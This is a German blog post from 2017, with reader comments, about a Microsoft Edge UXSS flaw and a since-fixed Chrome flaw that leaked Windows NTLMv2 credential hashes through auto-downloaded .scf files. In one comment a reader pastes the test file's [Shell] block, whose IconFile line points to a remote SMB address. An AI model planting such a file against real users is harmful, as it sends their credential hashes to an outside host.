Seit einigen Tagen sind in Microsofts Edge und Googles Chrome-Browser Sicherheitslücken bekannt. Über diese kann man Cookies und ggf. Anmeldedaten abziehen. Hier ein paar Informationen zum Thema, wobei es für Google Chrome einen Fix gibt.
Sicherheitslücke in Microsoft Edge
Die Sicherheitslücke zu Microsoft Edge ist bereits seit Anfang Mai bekannt. Bei neowin.net gibt es diesen Artikel vom 12. Mai 2017. Das Ganze geht auf diesen Blog-Beitrag zurück, der die UXSS-Lücke beschreibt.
Das Thema ist mir aber bereits am 24. April 2017 in diesem Beitrag bei Bleeping Computer untergekommen. Ich hatte das Ganze in diesem Blog-Beitrag Anfang Mai 2017 angerissen. So arg krass schätze ich den Schaden aber nicht ein, denn die drei Edge-Nutzer sind ja unter dem sichersten Microsoft Windows, das es jemals gab, unterwegs. Was soll da schon passieren …
Sicherheitslücke in Google Chrome
Bei Google Chrome stellen Sicherheitslücken, mit denen man Anmeldeinformationen für Netzwerkfreigaben abrufen kann, ein etwas anderes Kaliber dar. Eine solche Sicherheitslücke wurde Mitte Mai 2017 zum Beispiel im Artikel Stealing Windows Credentials Using Google Chrome thematisiert. heise.de hat es vorige Woche im Beitrag Chrome-Lücke erlaubt das Auslesen von Windows-Login-Hashes behandelt.
Chrome hatte eine Sicherheitslücke, die Angreifern die Abfrage der NTLMv2-Anmeldeinformationen im lokalen Netzwerk und darüber hinaus ermöglichte. Problem war, dass der Chrome-Browser .scf-Dateien (Kommandodateien) ohne Nutzernachfrage herunterlädt. Zu allem Übel werden diese Dateien im Windows-Explorer automatisch geöffnet. Hat ein Angreifer einen SMB-Server aufgesetzt, kontaktiert der Windows-Explorer diesen und übermittelt diesem den Nutzernamen sowie das gehashte Passwort des Nutzers. Andere Browser fragen zumindest nach.
Sicherheitslücke bereits gefixt
Ruft man diese Testseite auf, fordert diese über ein Icon die Anmeldedaten an und versucht eine .scf-Datei auf dem Rechner abzulegen. Bei dem von mir verwendeten Google Chrome Portable erhalte ich dann aber bereits die nachfolgende Warnung:
Dem Nutzer kann also keine .scf-Datei ohne sein Zutun auf den Rechner geschmuggelt werden. Auch der Slimjet-Browser, den ich getestet habe, zeigt dieses Verhalten. Diese Chromium-Seite enthält den betreffenden Hinweis, dass das Thema adressiert ist (Diskussion auch hier). Ich hatte ja oben die Testseite verlinkt, über die man testen kann, ob die verwendete Chrome-Version noch nicht gepatcht ist. Bei einer angreifbaren Variante sollte ein ein Download ohne die obige Sicherheitswarnung erfolgen (siehe auch hier).
Hurra, ich bin einer dieser „drei“ Edge-Nutzer und kann Microsoft nur zurufen, aber natürlich nicht zu laut: „Schlaft weiter“, nicht dass sie noch aufwachen.
Hey, ich bin der zweite – jetzt bin ich arg neugierig wer wohl der dritte User ist ;)
Unsicher sind eh alle Browser…
ich bekomme nur das zu lesen
[Shell]
IconFile=\\170.170.170.170\test
lol=([{„message“:[{„id“:“120″,“key“:“Invalid value“,“value“:“The provided parameter value is not valid“}]}])
Opera 45.0 hat auch den selben fehler und lädt ohne zu fragen das File heruntet
Bei mir die gleiche Anzeige bei drei Browsern, Edge, IE, Firefox.
Da geht dann wohl was nicht. Wohin wird die Datei denn geladen, wenn sie denn geladen wird?
gerade mal mit Edge getestet,gleiche Anzeige
nett, daß im Kommentar zur Testdatei über den falschen Wert gelacht wird (lol)
Trotzdem hastig Win Temp Dateien gelöscht, Download-Verzeichnis durchforstet und den Virenscanner zum Full Scan in Trab gebracht. Sicher ist sicher. lol ??
Ich habe immer schon im Chrome und auf Chrome basierende Browser so eingestellt, dass vor dem Download von Dateien nach dem Speicherort gefragt wird. So kann mir auch nichts untergeschoben werden.
Jo das scheint die sicherste Alternative zu sein, Opera hab ich erst die letzten Tage installiert weil ich mal schauen wollte was sich da getan hat.
Chrome unter Android lädt auch noch fröhlich die Datei runter ?